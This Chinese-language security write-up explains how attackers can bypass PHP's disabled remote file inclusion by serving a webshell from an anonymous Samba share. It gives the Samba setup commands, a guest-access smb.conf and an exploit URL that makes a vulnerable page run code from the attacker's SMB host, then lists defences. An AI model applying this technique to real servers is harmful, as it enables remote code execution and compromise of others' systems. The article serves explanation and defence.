利用SMB共享来绕过php远程文件包含的限制
字数 1064 2025-08-18 11:38:41
利用SMB共享绕过PHP远程文件包含限制的技术分析
1. 技术背景
PHP中的远程文件包含(RFI)漏洞通常允许攻击者包含并执行远程服务器上的恶意代码。但PHP配置中默认禁用了通过HTTP/FTP协议包含远程文件的功能:
allow_url_include:默认设置为"Off",阻止从HTTP/FTP URL包含文件allow_url_fopen:默认设置为"Off",阻止从HTTP/FTP URL打开文件
然而,PHP默认不会阻止通过SMB协议访问远程文件,这为绕过RFI限制提供了可能。
2. 攻击原理
当PHP应用程序存在文件包含漏洞时,攻击者可以:
- 设置一个允许匿名访问的SMB共享服务器
- 在SMB共享中放置恶意PHP文件
- 通过包含SMB路径(如
\\192.168.0.3\share\malicious.php)来执行远程代码
3. 攻击实施步骤
3.1 环境准备
PHP环境配置:
- 确保目标PHP环境中
allow_url_fopen和allow_url_include都设置为Off - 验证PHP版本(本例使用5.5.11)
3.2 Samba服务器配置(Linux)
- 安装Samba服务:
apt-get install samba
- 创建共享目录并设置权限:
mkdir /var/www/html/pub/
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
- 配置Samba(/etc/samba/smb.conf):
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
- 重启Samba服务:
service smbd restart
3.3 放置恶意PHP文件
将Webshell(如box.php)放入共享目录:
/var/www/html/pub/box.php
3.4 验证SMB共享
在Windows文件浏览器中访问:
\\[Samba服务器IP]\ica\
确认可以匿名访问并看到box.php文件
3.5 利用漏洞
通过易受攻击的PHP应用程序包含SMB共享中的文件:
http://vulnerable_app/page.php?page=\\192.168.0.3\ica\box.php
4. 防御措施
-
禁用不必要的协议:
- 在php.ini中限制允许的包装器
- 禁用
smb协议支持
-
输入验证:
- 严格验证文件包含参数
- 限制包含路径为白名单目录
-
服务器配置:
- 禁用匿名SMB访问
- 使用防火墙规则限制SMB端口(445/TCP)的访问
-
代码安全:
- 避免使用动态文件包含
- 使用固定文件路径或哈希验证
-
监控与日志:
- 监控异常的SMB访问尝试
- 记录文件包含操作
5. 技术要点总结
- PHP默认不阻止SMB协议的文件包含
- 匿名SMB共享可被用来托管恶意PHP文件
- 攻击不依赖
allow_url_fopen和allow_url_include设置 - 需要目标服务器能够访问攻击者的SMB共享
- 内网环境中的利用成功率更高
通过这种技术,攻击者可以绕过传统的PHP远程文件包含限制,在严格配置的环境中仍然可能实现远程代码执行。